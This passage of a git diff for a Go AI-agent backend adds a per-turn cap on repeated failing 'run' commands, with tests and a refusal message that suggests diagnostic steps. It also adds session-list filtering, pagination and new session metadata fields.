||||||
|
// out at the gateway is exactly the pattern we want to
|
||||||
|
// break — see session 1e9c7691's 20+ identical
|
||||||
|
// `chown` timeouts.
|
||||||
|
if tc.Function.Name == "run" {
|
||||||
|
t, _ := args["target"].(string)
|
||||||
|
c, _ := args["command"].(string)
|
||||||
|
key := runFailureKey(t, c)
|
||||||
|
n := retries.recordFailure(key)
|
||||||
|
if n >= maxRunRetries {
|
||||||
|
slog.Warn("nomos: run failure cap reached — next identical call will be refused",
|
||||||
|
"target", t, "failures", n, "session", sessionID)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
emit(agentEvent{
|
emit(agentEvent{
|
||||||
Type: "tool_result",
|
Type: "tool_result",
|
||||||
Data: map[string]any{"name": tc.Function.Name, "error": callErr.Error(), "id": tc.ID},
|
Data: map[string]any{"name": tc.Function.Name, "error": callErr.Error(), "id": tc.ID},
|
||||||
@@ -551,6 +603,25 @@ func (a *agent) chatWith(ctx context.Context, sessionID, message, systemInject s
|
|||||||
messages = append(messages, openai.ToolMessage(string(resultJSON), tc.ID))
|
messages = append(messages, openai.ToolMessage(string(resultJSON), tc.ID))
|
||||||
slog.Info("nomos: tool success", "tool", tc.Function.Name, "ms", elapsed)
|
slog.Info("nomos: tool success", "tool", tc.Function.Name, "ms", elapsed)
|
||||||
|
|
||||||
|
// Retry cap: record failures of `run` calls so the cap above
|
||||||
|
// can refuse a repeated identical failure. A "failure" here
|
||||||
|
// means the dispatch errored OR the MCP result text matches
|
||||||
|
// the "run on <target>: ERROR …" signature — both indicate
|
||||||
|
// the command actually ran and failed, not just that it
|
||||||
|
// queued for approval (pending approvals are not failures).
|
||||||
|
// Pass the RAW result text (not JSON-encoded) so the helper's
|
||||||
|
// HasPrefix check sees "run on …" not "\"run on …\"".
|
||||||
|
if isRunFailure(tc.Function.Name, runResultText(result), callErr) {
|
||||||
|
t, _ := args["target"].(string)
|
||||||
|
c, _ := args["command"].(string)
|
||||||
|
key := runFailureKey(t, c)
|
||||||
|
n := retries.recordFailure(key)
|
||||||
|
if n >= maxRunRetries {
|
||||||
|
slog.Warn("nomos: run failure cap reached — next identical call will be refused",
|
||||||
|
"target", t, "failures", n, "session", sessionID)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// ask_operator pauses the task: the agent has posed a decision only
|
// ask_operator pauses the task: the agent has posed a decision only
|
||||||
// the operator can make. End the turn here so it doesn't barrel past
|
// the operator can make. End the turn here so it doesn't barrel past
|
||||||
// its own question — the answer (panel or chat reply) resumes it.
|
// its own question — the answer (panel or chat reply) resumes it.
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
"os/signal"
|
"os/signal"
|
||||||
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"syscall"
|
"syscall"
|
||||||
@@ -18,6 +19,7 @@ import (
|
|||||||
|
|
||||||
"github.com/dtoro/oikos/internal/safego"
|
"github.com/dtoro/oikos/internal/safego"
|
||||||
"github.com/google/uuid"
|
"github.com/google/uuid"
|
||||||
|
"github.com/jackc/pgx/v5"
|
||||||
)
|
)
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
@@ -212,6 +214,7 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
|||||||
w.Header().Set("Content-Type", "text/event-stream")
|
w.Header().Set("Content-Type", "text/event-stream")
|
||||||
w.Header().Set("Cache-Control", "no-cache")
|
w.Header().Set("Cache-Control", "no-cache")
|
||||||
w.Header().Set("Connection", "keep-alive")
|
w.Header().Set("Connection", "keep-alive")
|
||||||
|
w.Header().Set("X-Accel-Buffering", "no") // disable proxy buffering
|
||||||
w.WriteHeader(200)
|
w.WriteHeader(200)
|
||||||
|
|
||||||
ctx := r.Context()
|
ctx := r.Context()
|
||||||
@@ -351,8 +354,21 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
|||||||
|
|
||||||
// Generate a meaningful title from the assistant's first answer
|
// Generate a meaningful title from the assistant's first answer
|
||||||
// instead of reusing the raw user message for every session.
|
// instead of reusing the raw user message for every session.
|
||||||
|
// P2.9 (2026-07-20): prefer the goal as the title when one is set —
|
||||||
|
// the first assistant text is often a greeting or narrative that
|
||||||
|
// doesn't describe the task ("Hey! 👋 Nomos here, running on
|
||||||
|
// mac-mini:8092..."). The goal is the operator's actual intent.
|
||||||
|
// Sessions that never call set_goal (pure Q&A) fall back to the
|
||||||
|
// assistant text, which is still better than the raw user message.
|
||||||
if finalText != "" && sessionID != "ephemeral" {
|
if finalText != "" && sessionID != "ephemeral" {
|
||||||
title := truncate(finalText, 80)
|
var goalTitle string
|
||||||
|
if sess, gerr := st.getSession(pctx, sessionID); gerr == nil && sess.Goal != "" {
|
||||||
|
goalTitle = truncate(sess.Goal, 120)
|
||||||
|
}
|
||||||
|
title := goalTitle
|
||||||
|
if title == "" {
|
||||||
|
title = truncate(finalText, 80)
|
||||||
|
}
|
||||||
if title != "" {
|
if title != "" {
|
||||||
st.updateSessionTitle(pctx, sessionID, title)
|
st.updateSessionTitle(pctx, sessionID, title)
|
||||||
}
|
}
|
||||||
@@ -370,13 +386,56 @@ func handleSessionsList(w http.ResponseWriter, r *http.Request, st *store) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
sessions, err := st.listSessions(r.Context())
|
// P2.8 (2026-07-20): filtering + pagination. The audit script in
|
||||||
|
// .agents/skills/session-review/SKILL.md slices `.sessions[:10]`
|
||||||
|
// client-side; "show me partial sessions touching lxc:rclone"
|
||||||
|
// required fetching the full list and filtering in JS. Push the
|
||||||
|
// filters into SQL so the audit becomes a single `curl | jq`.
|
||||||
|
// Supported query params (all optional, composable):
|
||||||
|
// ?outcome=partial|success|failure — exact match on outcome
|
||||||
|
// ?status=active|done|failed|executing — exact match on status
|
||||||
|
// ?entity_id=<uuid> — exact match on entity_id
|
||||||
|
// ?since=<RFC3339 or duration> — last_active_at >= ...
|
||||||
|
// ?blocker=<reason> — exact match on blocker
|
||||||
|
// ?limit=<int> — default 50, max 200
|
||||||
|
// ?cursor=<iso timestamp> — last_active_at < cursor (page back)
|
||||||
|
q := r.URL.Query()
|
||||||
|
limit := 50
|
||||||
|
if v := q.Get("limit"); v != "" {
|
||||||
|
if n, err := strconv.Atoi(v); err == nil && n > 0 && n <= 200 {
|
||||||
|
limit = n
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sessions, err := st.listSessionsFiltered(r.Context(), listFilter{
|
||||||
|
Outcome: q.Get("outcome"),
|
||||||
|
Status: q.Get("status"),
|
||||||
|
EntityID: q.Get("entity_id"),
|
||||||
|
Blocker: q.Get("blocker"),
|
||||||
|
Since: q.Get("since"),
|
||||||
|
Cursor: q.Get("cursor"),
|
||||||
|
Limit: limit,
|
||||||
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
http.Error(w, err.Error(), 500)
|
http.Error(w, err.Error(), 500)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
// Next-page cursor: the oldest last_active_at in this page. The next
|
||||||
|
// request passes it as ?cursor=... to get the page before it. Empty
|
||||||
|
// when the list is exhausted.
|
||||||
|
var nextCursor string
|
||||||
|
if len(sessions) > 0 {
|
||||||
|
oldest := sessions[len(sessions)-1].LastActiveAt
|
||||||
|
nextCursor = oldest.UTC().Format(time.RFC3339Nano)
|
||||||
|
if len(sessions) < limit {
|
||||||
|
nextCursor = "" // last page
|
||||||
|
}
|
||||||
|
}
|
||||||
w.Header().Set("Content-Type", "application/json")
|
w.Header().Set("Content-Type", "application/json")
|
||||||
json.NewEncoder(w).Encode(map[string]any{"sessions": sessions})
|
json.NewEncoder(w).Encode(map[string]any{
|
||||||
|
"sessions": sessions,
|
||||||
|
"next_cursor": nextCursor,
|
||||||
|
"limit": limit,
|
||||||
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *agent) {
|
func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *agent) {
|
||||||
@@ -416,6 +475,11 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
|
|||||||
// GET /sessions/{id}/plan and /sessions/{id}/questions — REST hydration for
|
// GET /sessions/{id}/plan and /sessions/{id}/questions — REST hydration for
|
||||||
// the context panel when it first opens a task; live events carry deltas
|
// the context panel when it first opens a task; live events carry deltas
|
||||||
// from there.
|
// from there.
|
||||||
|
// GET /sessions/{id}/tool_calls — flat view of every tool call in the
|
||||||
|
// session, without the two-level message-shell nesting. The audit at
|
||||||
|
// plans/2026-07-20-session-review-ten-sessions.md P2.10 had to write
|
||||||
|
// Python to walk messages[].content.tool_calls[]; this endpoint makes
|
||||||
|
// it a single `curl | jq`.
|
||||||
if len(parts) == 2 && r.Method == http.MethodGet {
|
if len(parts) == 2 && r.Method == http.MethodGet {
|
||||||
switch parts[1] {
|
switch parts[1] {
|
||||||
case "plan":
|
case "plan":
|
||||||
@@ -436,6 +500,15 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
|
|||||||
w.Header().Set("Content-Type", "application/json")
|
w.Header().Set("Content-Type", "application/json")
|
||||||
json.NewEncoder(w).Encode(map[string]any{"questions": questions})
|
json.NewEncoder(w).Encode(map[string]any{"questions": questions})
|
||||||
return
|
return
|
||||||
|
case "tool_calls":
|
||||||
|
calls, err := st.getSessionToolCalls(r.Context(), id)
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, err.Error(), 500)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(map[string]any{"session_id": id, "tool_calls": calls})
|
||||||
|
return
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -448,13 +521,36 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
|
|||||||
w.WriteHeader(204)
|
w.WriteHeader(204)
|
||||||
|
|
||||||
case http.MethodGet:
|
case http.MethodGet:
|
||||||
|
// P2.7 (2026-07-20): return BOTH session metadata and messages
|
||||||
|
// from GET /sessions/{id}. Previously this endpoint returned only
|
||||||
|
// {session_id, messages} — the operator had to merge with the
|
||||||
|
// /sessions list view to get title/goal/outcome. The eval harness
|
||||||
|
// at cmd/nomos/eval/main.go:302-303 already carries a comment
|
||||||
|
// about this leaky abstraction. The session field carries the
|
||||||
|
// full metadata: title, goal, outcome, summary, blocker,
|
||||||
|
// pending_approvals, message_count, tool_call_count, etc. The
|
||||||
|
// messages field is unchanged. Clients that only read
|
||||||
|
// `messages` keep working.
|
||||||
|
sess, err := st.getSession(r.Context(), id)
|
||||||
|
if err != nil {
|
||||||
|
if err == pgx.ErrNoRows {
|
||||||
|
http.Error(w, "session not found", 404)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
http.Error(w, err.Error(), 500)
|
||||||
|
return
|
||||||
|
}
|
||||||
messages, err := st.getMessages(r.Context(), id)
|
messages, err := st.getMessages(r.Context(), id)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
http.Error(w, err.Error(), 500)
|
http.Error(w, err.Error(), 500)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
w.Header().Set("Content-Type", "application/json")
|
w.Header().Set("Content-Type", "application/json")
|
||||||
json.NewEncoder(w).Encode(map[string]any{"session_id": id, "messages": messages})
|
json.NewEncoder(w).Encode(map[string]any{
|
||||||
|
"session_id": id,
|
||||||
|
"session": sess,
|
||||||
|
"messages": messages,
|
||||||
|
})
|
||||||
|
|
||||||
default:
|
default:
|
||||||
http.Error(w, "method not allowed", 405)
|
http.Error(w, "method not allowed", 405)
|
||||||
|
|||||||
170
cmd/nomos/retrycap.go
Normal file
170
cmd/nomos/retrycap.go
Normal file
@@ -0,0 +1,170 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/sha256"
|
||||||
|
"encoding/hex"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
)
|
||||||
|
|
||||||
|
// maxRunRetries is the per-turn cap on identical failing `run` tool calls.
|
||||||
|
// After this many failures with the same (target, command) key, the agent
|
||||||
|
// loop refuses to dispatch the call again and instead surfaces a directive
|
||||||
|
// to investigate *why* (ps/strace/lsof) or escalate to the operator.
|
||||||
|
//
|
||||||
|
// Background: session 1e9c7691 (2026-07-18) retried the same
|
||||||
|
// `chown :10000 /mnt/media_local && chmod 2775 …` ~20 times across direct
|
||||||
|
// runs, SSH-hop-via-hubris, wrapping in a shell script, and bare `echo test`
|
||||||
|
// sanity checks. Each retry piled up another zombie process on the target
|
||||||
|
// (knfsd was holding a kernel lock on the exported directory). The agent
|
||||||
|
// only investigated *why* after the operator explicitly asked
|
||||||
|
// "the command just keeps running?" — see
|
||||||
|
// plans/2026-07-18-session-review-three-sessions.md P0.1.
|
||||||
|
const maxRunRetries = 3
|
||||||
|
|
||||||
|
// runRetryTracker deduplicates failing `run` calls within a single chat
|
||||||
|
// turn (chatWith invocation). It is NOT persisted across turns — the cap
|
||||||
|
// is per-turn, so a fresh turn after the operator responds can retry once
|
||||||
|
// more. The intent is to break a tight retry loop within one turn, not to
|
||||||
|
// permanently block the agent from ever attempting the operation again.
|
||||||
|
//
|
||||||
|
// Threading: the agent loop is single-goroutine per turn, but the tracker
|
||||||
|
// is guarded by a mutex so future callers (e.g. concurrent tool dispatch)
|
||||||
|
// stay safe. The mutex is uncontended on the current hot path.
|
||||||
|
type runRetryTracker struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
counts map[string]int
|
||||||
|
}
|
||||||
|
|
||||||
|
func newRunRetryTracker() *runRetryTracker {
|
||||||
|
return &runRetryTracker{counts: make(map[string]int)}
|
||||||
|
}
|
||||||
|
|
||||||
|
// runFailureKey is the dedup key for "this is the same command against the
|
||||||
|
// same target." Whitespace is collapsed so trivial reformatting
|
||||||
|
// (newlines vs spaces, trailing whitespace) doesn't escape the cap. The
|
||||||
|
// purpose field is intentionally NOT part of the key: the agent often
|
||||||
|
// rephrases purpose between retries while issuing the same command.
|
||||||
|
func runFailureKey(target, command string) string {
|
||||||
|
collapsed := strings.Join(strings.Fields(command), " ")
|
||||||
|
target = strings.TrimSpace(target)
|
||||||
|
h := sha256.Sum256([]byte(target + "\x00" + collapsed))
|
||||||
|
return hex.EncodeToString(h[:])
|
||||||
|
}
|
||||||
|
|
||||||
|
// recordFailure increments the failure count for the given key and returns
|
||||||
|
// the new count. The caller should check `count > maxRunRetries` BEFORE
|
||||||
|
// dispatching to decide whether to skip the call.
|
||||||
|
func (r *runRetryTracker) recordFailure(key string) int {
|
||||||
|
r.mu.Lock()
|
||||||
|
defer r.mu.Unlock()
|
||||||
|
r.counts[key]++
|
||||||
|
return r.counts[key]
|
||||||
|
}
|
||||||
|
|
||||||
|
// failures returns the current failure count for a key (0 if unseen).
|
||||||
|
func (r *runRetryTracker) failures(key string) int {
|
||||||
|
r.mu.Lock()
|
||||||
|
defer r.mu.Unlock()
|
||||||
|
return r.counts[key]
|
||||||
|
}
|
||||||
|
|
||||||
|
// isRunFailure reports whether a `run` tool call's outcome should count
|
||||||
|
// as a failure for retry-cap purposes. A call counts as failed when:
|
||||||
|
// - the dispatch itself errored (callErr != nil), OR
|
||||||
|
// - the result text starts with "run on <target>: ERROR" — the
|
||||||
|
// shape classifyAndGate/sshExec produce when SSH or the command fails.
|
||||||
|
//
|
||||||
|
// Approvals queued ("requires approval") do NOT count as failures: they
|
||||||
|
// are pending operator action, not a command execution failure. A read
|
||||||
|
// of the existing code paths (classifyAndGate in internal/mcp/server.go)
|
||||||
|
// confirms the "ERROR" prefix is the stable failure signature for `run`.
|
||||||
|
//
|
||||||
|
// The resultText parameter is the MCP tool's RAW text result (not JSON-
|
||||||
|
// re-encoded): when classifyAndGate returns a textResult like
|
||||||
|
// "run on host:strong: ERROR ...", the MCP client unwraps it back to a
|
||||||
|
// plain Go string (see mcpClient.callTool). The caller should pass that
|
||||||
|
// raw string, not json.Marshal's output (which would quote-wrap it).
|
||||||
|
func isRunFailure(toolName string, resultText string, callErr error) bool {
|
||||||
|
if callErr != nil {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
if toolName != "run" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
// "run on host:strong: ERROR ..." or "run on lxc:caddy: ERROR ..."
|
||||||
|
// Both shapes start with "run on ".
|
||||||
|
if !strings.HasPrefix(resultText, "run on ") {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return strings.Contains(resultText, ": ERROR")
|
||||||
|
}
|
||||||
|
|
||||||
|
// runResultText extracts the raw text from a `run` tool's result value as
|
||||||
|
// returned by mcpClient.callTool — typically a Go string, but may also be
|
||||||
|
// a []string (multi-content result) or other JSON-decoded shape. Returns
|
||||||
|
// "" for shapes we don't recognize. Used by the retry-cap path so
|
||||||
|
// isRunFailure receives the un-quoted text form (see its doc comment).
|
||||||
|
func runResultText(result any) string {
|
||||||
|
switch v := result.(type) {
|
||||||
|
case string:
|
||||||
|
return v
|
||||||
|
case []string:
|
||||||
|
if len(v) > 0 {
|
||||||
|
return v[0]
|
||||||
|
}
|
||||||
|
case []any:
|
||||||
|
var b strings.Builder
|
||||||
|
for _, e := range v {
|
||||||
|
if s, ok := e.(string); ok {
|
||||||
|
b.WriteString(s)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// runRetryDirective is the synthetic tool result returned to the model
|
||||||
|
// when the retry cap is hit, in place of dispatching the call again. It
|
||||||
|
// directs the agent to investigate *why* the command keeps failing before
|
||||||
|
// retrying, or to surface the blocker to the operator.
|
||||||
|
func runRetryDirective(target, command string, failures int) string {
|
||||||
|
return "Refused: this `run` against " + target + " has failed " +
|
||||||
|
itoa(failures) + " times this turn — retry cap hit. The command:\n " +
|
||||||
|
command + "\nis almost certainly blocked by something on the target " +
|
||||||
|
"(a hung process, a kernel lock, an unexported FS, a stuck SSH " +
|
||||||
|
"session, …) — NOT a transient gateway issue. Do NOT retry with " +
|
||||||
|
"different routing or quoting. Instead, BEFORE calling `run` again, " +
|
||||||
|
"investigate *why* the command hangs: e.g. `ps aux | grep <cmd>`, " +
|
||||||
|
"`lsof <path>`, `strace -f -p <pid>` or `strace -f <cmd>`, " +
|
||||||
|
"`mount | grep <path>`, `dmesg | tail`. If you find a structural " +
|
||||||
|
"blocker (e.g. a kernel lock on an exported NFS directory → " +
|
||||||
|
"unexport → mutate → re-export), say so to the operator and fix it " +
|
||||||
|
"with a different command. If you genuinely cannot diagnose, " +
|
||||||
|
"surface the blocker to the operator with what you've tried — do " +
|
||||||
|
"not just retry the same command."
|
||||||
|
}
|
||||||
|
|
||||||
|
// itoa is a tiny strconv.Itoa to keep this file dependency-free.
|
||||||
|
func itoa(n int) string {
|
||||||
|
if n == 0 {
|
||||||
|
return "0"
|
||||||
|
}
|
||||||
|
neg := n < 0
|
||||||
|
if neg {
|
||||||
|
n = -n
|
||||||
|
}
|
||||||
|
var buf [20]byte
|
||||||
|
i := len(buf)
|
||||||
|
for n > 0 {
|
||||||
|
i--
|
||||||
|
buf[i] = byte('0' + n%10)
|
||||||
|
n /= 10
|
||||||
|
}
|
||||||
|
if neg {
|
||||||
|
i--
|
||||||
|
buf[i] = '-'
|
||||||
|
}
|
||||||
|
return string(buf[i:])
|
||||||
|
}
|
||||||
129
cmd/nomos/retrycap_test.go
Normal file
129
cmd/nomos/retrycap_test.go
Normal file
@@ -0,0 +1,129 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestRunFailureKey_StableAcrossWhitespace(t *testing.T) {
|
||||||
|
cases := []struct{ a, b string }{
|
||||||
|
{"chown :10000 /mnt/media_local && chmod 2775 /mnt/media_local",
|
||||||
|
"chown :10000 /mnt/media_local && chmod 2775 /mnt/media_local"},
|
||||||
|
{"chown :10000 /mnt/media_local\n&& chmod 2775 /mnt/media_local",
|
||||||
|
"chown :10000 /mnt/media_local && chmod 2775 /mnt/media_local"},
|
||||||
|
{"chown :10000 /mnt/media_local && chmod 2775 /mnt/media_local ",
|
||||||
|
" chown :10000 /mnt/media_local && chmod 2775 /mnt/media_local"},
|
||||||
|
}
|
||||||
|
for i, c := range cases {
|
||||||
|
ka := runFailureKey("host:strong", c.a)
|
||||||
|
kb := runFailureKey("host:strong", c.b)
|
||||||
|
if ka != kb {
|
||||||
|
t.Errorf("case %d: keys differ for whitespace-equivalent commands:\n a=%q\n b=%q", i, c.a, c.b)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRunFailureKey_DiffersByTarget(t *testing.T) {
|
||||||
|
a := runFailureKey("host:strong", "echo hi")
|
||||||
|
b := runFailureKey("host:hubris", "echo hi")
|
||||||
|
if a == b {
|
||||||
|
t.Error("keys should differ when target differs")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRunFailureKey_DiffersByCommand(t *testing.T) {
|
||||||
|
a := runFailureKey("host:strong", "echo hi")
|
||||||
|
b := runFailureKey("host:strong", "echo bye")
|
||||||
|
if a == b {
|
||||||
|
t.Error("keys should differ when command differs")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRunRetryTracker_CountsAndCaps(t *testing.T) {
|
||||||
|
r := newRunRetryTracker()
|
||||||
|
key := runFailureKey("host:strong", "chown :10000 /mnt/media_local")
|
||||||
|
for i := 1; i <= maxRunRetries; i++ {
|
||||||
|
if got := r.recordFailure(key); got != i {
|
||||||
|
t.Errorf("recordFailure #%d = %d, want %d", i, got, i)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// At the cap, failures() should report maxRunRetries, and the next
|
||||||
|
// identical call should be refused by the agent loop (failures() >=
|
||||||
|
// maxRunRetries).
|
||||||
|
if got := r.failures(key); got != maxRunRetries {
|
||||||
|
t.Errorf("failures = %d, want %d", got, maxRunRetries)
|
||||||
|
}
|
||||||
|
if r.failures(key) < maxRunRetries {
|
||||||
|
t.Errorf("cap should be enforced at maxRunRetries=%d", maxRunRetries)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRunRetryTracker_PerTurnIsolation(t *testing.T) {
|
||||||
|
// Different keys don't interfere.
|
||||||
|
r := newRunRetryTracker()
|
||||||
|
k1 := runFailureKey("host:strong", "echo a")
|
||||||
|
k2 := runFailureKey("host:strong", "echo b")
|
||||||
|
r.recordFailure(k1)
|
||||||
|
r.recordFailure(k1)
|
||||||
|
if got := r.failures(k2); got != 0 {
|
||||||
|
t.Errorf("k2 failures = %d, want 0 (keys are isolated)", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestIsRunFailure(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
desc string
|
||||||
|
tool string
|
||||||
|
result string
|
||||||
|
callErr error
|
||||||
|
want bool
|
||||||
|
}{
|
||||||
|
{"run with ERROR prefix", "run", "run on host:strong: ERROR ssh: signal: killed", nil, true},
|
||||||
|
{"run with exit error", "run", "run on lxc:caddy: ERROR exit status 1", nil, true},
|
||||||
|
{"run success (read-only auto)", "run", "run on host:strong (read_only, auto): hello", nil, false},
|
||||||
|
{"run success (assent window)", "run", "run on host:strong (config_mutation, auto via assent window): done", nil, false},
|
||||||
|
{"run queued for approval", "run", "run on host:strong requires approval (risk: config_mutation) — execution 019f4930 queued. Present the command and purpose to the operator and wait; do not re-request.", nil, false},
|
||||||
|
{"non-run tool", "get_entity", "lxc list result", nil, false},
|
||||||
|
{"callErr set (dispatch failure)", "run", "", errFake{}, true},
|
||||||
|
{"callErr set on non-run tool", "get_entity", "some result", errFake{}, true}, // callErr trumps name
|
||||||
|
}
|
||||||
|
for i, c := range cases {
|
||||||
|
got := isRunFailure(c.tool, c.result, c.callErr)
|
||||||
|
if got != c.want {
|
||||||
|
t.Errorf("case %d (%s): isRunFailure = %v, want %v", i, c.desc, got, c.want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
type errFake struct{}
|
||||||
|
|
||||||
|
func (errFake) Error() string { return "fake dispatch error" }
|
||||||
|
|
||||||
|
func TestRunRetryDirective_Content(t *testing.T) {
|
||||||
|
d := runRetryDirective("host:strong", "chown :10000 /mnt/media_local", 3)
|
||||||
|
for _, want := range []string{
|
||||||
|
"Refused:",
|
||||||
|
"host:strong",
|
||||||
|
"3 times",
|
||||||
|
"retry cap hit",
|
||||||
|
"Do NOT retry",
|
||||||
|
"strace",
|
||||||
|
"ps aux",
|
||||||
|
"lsof",
|
||||||
|
"surface the blocker",
|
||||||
|
} {
|
||||||
|
if !strings.Contains(d, want) {
|
||||||
|
t.Errorf("directive missing %q; got:\n%s", want, d)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestItoa(t *testing.T) {
|
||||||
|
cases := map[int]string{0: "0", 1: "1", 9: "9", 10: "10", 42: "42",
|
||||||
|
100: "100", -1: "-1", -42: "-42"}
|
||||||
|
for in, want := range cases {
|
||||||
|
if got := itoa(in); got != want {
|
||||||
|
t.Errorf("itoa(%d) = %q, want %q", in, got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -86,6 +86,16 @@ func (s *store) close() {
|
|||||||
// session is a chat session elevated to a task: goal-structured work with a
|
// session is a chat session elevated to a task: goal-structured work with a
|
||||||
// lifecycle status and an outcome (see migration 018 / the task-board plan).
|
// lifecycle status and an outcome (see migration 018 / the task-board plan).
|
||||||
// Outcome/Summary/EntityID are empty until set, hence omitempty.
|
// Outcome/Summary/EntityID are empty until set, hence omitempty.
|
||||||
|
//
|
||||||
|
// P1.5 (2026-07-20): Blocker and ClosedAt track WHY a session ended
|
||||||
|
// partial/failed and WHEN it actually closed. ClosedAt is distinct from
|
||||||
|
// LastActiveAt — the latter is touched on any access (including a UI
|
||||||
|
// transcript view), the former is set ONCE at completion. Without it,
|
||||||
|
// "duration" computed as last_active - created lies for reopened sessions
|
||||||
|
// (a51e2086 reported 4-day duration because the operator reopened it).
|
||||||
|
// Blocker is a short structured reason: approval_timeout,
|
||||||
|
// classifier_overreach, user_abandoned, tool_error, etc. See
|
||||||
|
// plans/2026-07-20-session-review-ten-sessions.md P1.5.
|
||||||
type session struct {
|
type session struct {
|
||||||
ID string `json:"id"`
|
ID string `json:"id"`
|
||||||
Title string `json:"title"`
|
Title string `json:"title"`
|
||||||
@@ -96,8 +106,19 @@ type session struct {
|
|||||||
Summary string `json:"summary,omitempty"`
|
Summary string `json:"summary,omitempty"`
|
||||||
EntityID string `json:"entity_id,omitempty"`
|
EntityID string `json:"entity_id,omitempty"`
|
||||||
PendingApprovals int `json:"pending_approvals"`
|
PendingApprovals int `json:"pending_approvals"`
|
||||||
|
Blocker string `json:"blocker,omitempty"`
|
||||||
CreatedAt time.Time `json:"created_at"`
|
CreatedAt time.Time `json:"created_at"`
|
||||||
LastActiveAt time.Time `json:"last_active_at"`
|
LastActiveAt time.Time `json:"last_active_at"`
|
||||||
|
ClosedAt *time.Time `json:"closed_at,omitempty"`
|
||||||
|
// P2.6 (2026-07-20): server-side aggregates so /sessions can answer
|
||||||
|
// "how big was this task?" without N+1 transcript fetches. The audit
|
||||||
|
// had to pull every session's full message tree to count tool calls —
|
||||||
|
// ~600 KB of JSON for 10 sessions. With these, the list view is a
|
||||||
|
// single round trip. omitempty so getSession for a brand-new session
|
||||||
|
// with zero activity doesn't emit zeros.
|
||||||
|
MessageCount int `json:"message_count,omitempty"`
|
||||||
|
ToolCallCount int `json:"tool_call_count,omitempty"`
|
||||||
|
DurationSeconds int `json:"duration_seconds,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type message struct {
|
type message struct {
|
||||||
@@ -315,14 +336,98 @@ func (s *store) touchSession(ctx context.Context, id string) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (s *store) listSessions(ctx context.Context) ([]session, error) {
|
func (s *store) listSessions(ctx context.Context) ([]session, error) {
|
||||||
|
return s.listSessionsFiltered(ctx, listFilter{Limit: 50})
|
||||||
|
}
|
||||||
|
|
||||||
|
// listFilter carries the optional WHERE/ORDER clauses added by P2.8
|
||||||
|
// (filtering & pagination). All fields optional; empty values are no-ops.
|
||||||
|
// The handler in main.go parses query params into this struct so the SQL
|
||||||
|
// builder here is the single source of truth for what filters exist.
|
||||||
|
type listFilter struct {
|
||||||
|
Outcome string // exact match on outcome (success/partial/failure)
|
||||||
|
Status string // exact match on status (active/done/failed/executing)
|
||||||
|
EntityID string // exact match on entity_id (UUID)
|
||||||
|
Blocker string // exact match on blocker reason
|
||||||
|
Since string // last_active_at >= this; RFC3339 timestamp OR Go duration (e.g. "24h")
|
||||||
|
Cursor string // last_active_at < cursor (RFC3339) — page back in time
|
||||||
|
Limit int // default 50, clamped by the handler
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *store) listSessionsFiltered(ctx context.Context, f listFilter) ([]session, error) {
|
||||||
if s == nil {
|
if s == nil {
|
||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
rows, err := s.pool.Query(ctx,
|
if f.Limit <= 0 {
|
||||||
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
|
f.Limit = 50
|
||||||
|
}
|
||||||
|
// Build the WHERE clause dynamically. We use a single args slice with
|
||||||
|
// $N placeholders to keep pgx happy; the index increments per clause.
